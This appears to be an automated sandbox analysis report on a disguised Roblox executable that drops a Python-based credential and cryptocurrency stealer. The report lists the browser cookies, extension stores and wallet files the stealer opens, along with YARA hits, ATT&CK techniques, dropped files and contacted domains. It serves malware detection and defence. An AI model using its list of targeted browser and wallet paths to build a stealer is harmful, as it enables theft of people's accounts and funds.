Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\crashes	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons Maskable	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Maskable	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\security_state	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\datareporting\archived	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\697416b8-55c0-41ac-9636-a06aa38f99e9	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\datareporting\glean\pending_pings	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons Maskable	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hmeobnfnfcmdkdcmlblgagmfpfboieaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\b7e6c706-6d19-4b9e-9c37-e5ee870c2129	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\kz8kl7vh.default	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons Monochrome	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Monochrome	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\af2cf244-1bda-453b-baae-9793e72e9be8	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\minidumps	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\datareporting\archived\2023-10	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets	Jump to behavior

Yara detected Generic Python Stealer

Source: Yara match	File source: 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1951447889.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: roblox1.exe PID: 1364, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: stub.exe PID: 3428, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe, type: DROPPED

Source: Yara match	File source: 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1951447889.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: roblox1.exe PID: 1364, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: stub.exe PID: 3428, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe, type: DROPPED

Remote Access Functionality

Yara detected Monster Stealer

Source: Yara match	File source: 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1951447889.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: roblox1.exe PID: 1364, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: stub.exe PID: 3428, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe, type: DROPPED

Yara detected Generic Python Stealer

Source: Yara match	File source: 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1951447889.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: roblox1.exe PID: 1364, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: stub.exe PID: 3428, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	341 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	21 Disable or Modify Tools	1 OS Credential Dumping	11 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	112 Command and Scripting Interpreter	1 Valid Accounts	1 Valid Accounts	11 Deobfuscate/Decode Files or Information	1 GUI Input Capture	2 System Network Connections Discovery	Remote Desktop Protocol	4 Data from Local System	12 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	1 Windows Service	1 Windows Service	2 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 GUI Input Capture	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	11 Process Injection	1 Timestomp	NTDS	37 System Information Discovery	Distributed Component Object Model	1 Email Collection	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	541 Security Software Discovery	SSH	1 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Valid Accounts	DCSync	141 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	141 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	31 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
roblox1.exe	55%	ReversingLabs	Win32.Phishing.MonsterStealer
roblox1.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe	55%	ReversingLabs	Win32.Phishing.MonsterStealer
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_asyncio.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_cffi_backend.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_multiprocessing.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_overlapped.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_uuid.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\aiohttp\_helpers.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\aiohttp\_http_parser.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\aiohttp\_http_writer.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\aiohttp\_websocket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\cryptography\hazmat\bindings\_rust.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\frozenlist\_frozenlist.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\libcrypto-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\libffi-7.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\libssl-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\multidict\_multidict.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\pyexpat.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\python3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\python310.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	71%	ReversingLabs	Win64.Trojan.PySpy
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\unicodedata.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\yarl\_helpers_c.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\yarl\_quoting_c.pyd	0%	ReversingLabs

Source	Detection	Scanner	Label
https://www.attrs.org/)	0%	Avira URL Cloud	safe
https://twitter.comarefereruhttps://twitter.com/homeusec-fetch-destaemptyusec-fetch-modeacorsusec-fe	0%	Avira URL Cloud	safe
https://www.attrs.org/en/stable/init.html#hooking-yourself-into-initialization)	0%	Avira URL Cloud	safe
https://www.attrs.org/en/latest/names.html)	0%	Avira URL Cloud	safe
https://www.attrs.org/en/stable/changelog.html	0%	Avira URL Cloud	safe
http://docs.aiohttp.org/en/stable/logging.html#format-specificationauvloopaset_event_loop_policyaEve	0%	Avira URL Cloud	safe
https://www.variomedia.de/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue37179	0%	Avira URL Cloud	safe
https://docs.aiohttp.org/en/stable/web_advanced.html#application-s-config	0%	Avira URL Cloud	safe
https://filepreviews.io/	0%	Avira URL Cloud	safe
https://www.attrs.org/en/latest/glossary.html#term-dunder-methods)).	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
restores.name	135.181.65.219	true	false		unknown
ip-api.com	208.95.112.1	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://ip-api.com/json	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://account.riotgames.com/api/account/v1/user	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	false		high
https://accounts.reddit.com/api/access_token	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=440D7F4D810EF9298D25EDDF37C1F9	stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/pyca/cryptography/issues/8996	roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python-attrs/attrs/issues/251	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1940431612.00000213BE4FA000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1552093383.00000213BE4C3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://klaviyo.com/	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tiktok.com/	stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.python.org/dev/peps/pep-0506/	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	false		high
https://i.instagram.com/api/v1/accounts/current_user/?edit=trueuhttps://i.instagram.com/api/v1/users	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	false		high
https://github.com/aio-libs/aiohttp/discussions/6044	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940824169.00000213BED1E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1937485075.00000213BECD9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1944604841.00000213BE310000.00000004.00001000.00020000.00000000.sdmp	false		high
http://python.org	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1946175818.00000213BE880000.00000004.00001000.00020000.00000000.sdmp	false		high
https://python.org/dev/peps/pep-0263/	roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1961361267.00007FFBAAD33000.00000002.00000001.01000000.00000005.sdmp	false		high
https://www.attrs.org/en/24.2.0/_static/sponsors/	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	false		high
http://python.org:80	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1946175818.00000213BE880000.00000004.00001000.00020000.00000000.sdmp	false		high
